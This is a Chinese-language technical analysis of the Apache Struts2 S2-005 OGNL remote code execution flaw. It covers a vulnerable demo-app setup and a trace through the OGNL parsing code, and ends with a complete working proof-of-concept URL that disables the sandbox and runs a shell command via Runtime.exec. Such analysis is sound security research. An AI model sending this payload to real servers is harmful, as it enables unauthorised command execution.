Struts2-005远程代码执行漏洞分析

摘要

一、漏洞信息

官方链接:https://cwiki.apache.org/confluence/display/WW/S2-005

官方概述:XWork ParameterInterceptors bypass allows remote command execution

影响版本:Struts 2.0.0 – Struts 2.1.8.1

修复摘要:Developers should immediately upgrade to Struts 2.2.1 or read the following solution instructions carefully for a configuration change to mitigate the vulnerability

二、漏洞原理

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003。

三、环境搭建

下载 Struts2.0.11.2http://archive.apache.org/dist/struts/binaries/struts-2.1.8.1-all.zip

目录结构

引用的包

commons-fileupload-1.2.1.jar

commons-logging-1.0.4.jar

freemarker-2.3.15.jar

ognl-2.7.3.jar

struts2-core-2.1.8.1.jar

xwork-2.0.5.jar

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-005</title> </head> <body> <h2>S2-005 Demo</h2> <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-005">https://cwiki.apache.org/confluence/display/WW/S2-005</a></p> <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html> 

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-005</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html> 

struts.xml

<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
    "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts> <package name="S2-005" extends="struts-default"> <action name="login" class="com.demo.action.LoginAction"> <result name="success">welcome.jsp</result> <result name="error">index.jsp</result> </action> </package> </struts> 

com.demo.action.LoginAction.java

package com.demo.action; import com.opensymphony.xwork2.ActionSupport; public class LoginAction extends ActionSupport { private String username = null; private String password = null; public String getUsername() { return this.username;
    } public String getPassword() { return this.password;
    } public void setUsername(String username) { this.username = username;
    } public void setPassword(String password) { this.password = password;
    } public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error";
        } if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) { return "success";
        } return "error";
    }
} 

web.xml

<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"> <display-name>S2-005 Example</display-name> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> 

四、漏洞分析

首先我们来看看官方是如何修补的S2-003呢?它是新出了一个沙盒机制,默认禁止了静态方法的调用(allowStaticMethodAccesMethodAccessor.denyMethodExecution

所以我们可以利用OGNL先把沙盒关闭掉,就又可以执行命令了。

xwork.MethodAccessor.denyMethodExecution设置为falseallowStaticMethodAccess设置为true

这样就可以关闭掉沙盒机制,unicode编码仍然还是可以的,\u0023会被解析成#,POC还是原来的POC,只不过加上了上面的两个设置,接下来我们可以看看具体漏洞分析的过程

这里还是在Tomcat6环境下进行分析。

和S2-003大体相同,在xwork-core-2.1.16.jar!com/opensymphony/xwork2/interceptor/ParametersInterceptor中断点调试

跟进setParameters,会进入到xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlValueStack,可以看出在Ognl中,值栈(ValueStack)的实现类是OgnlValueStack

发现在里面封装了一个setValue类,跟入ognlUtil.setValue,会进入到xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlUtil中,这里又封装了一遍setValue类,最终调用了Ognl中的setValue方法

可以看到其中的compile方法,会将传来的字符串进行解析,而name值就是我们传递过来的参数值,跟进compile方法

跟进parseExpression,这里从topLevelExpression开始对语法书进行解析,进入到ognl-2.7.3.jar!ognl/OgnlParser中的expression()进行解析,可以看到,最后将结果保存到值栈中,\u0023被解析成#

然后将解析的结果return回去

五、漏洞利用

http://localhost:1111/login.action?(‘\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse’)(bla)(bla)&(‘\u0023_memberAccess.allowStaticMethodAccess\u003dtrue’)(bla)(bla)&(‘\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET’)(kxlzx)(kxlzx)&(‘\u0023mycmd\u003d\’ifconfig\”)(bla)(bla)&(‘\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)’)(bla)(bla)&(A)((‘\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())’)(bla))&(B)((‘\u0023myres\u003dnew\40byte[51020]‘)(bla))&(C)((‘\u0023mydat.readFully(\u0023myres)’)(bla))&(D)((‘\u0023mystr\u003dnew\40java.lang.String(\u0023myres)’)(bla))&(‘\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()’)(bla)(bla)&(E)((‘\u0023myout.getWriter().println(\u0023mystr)’)(bla))

参考链接

https://cwiki.apache.org/confluence/display/WW/S2-005

https://blog.csdn.net/u011721501/article/details/41626959

https://xz.aliyun.com/t/2323

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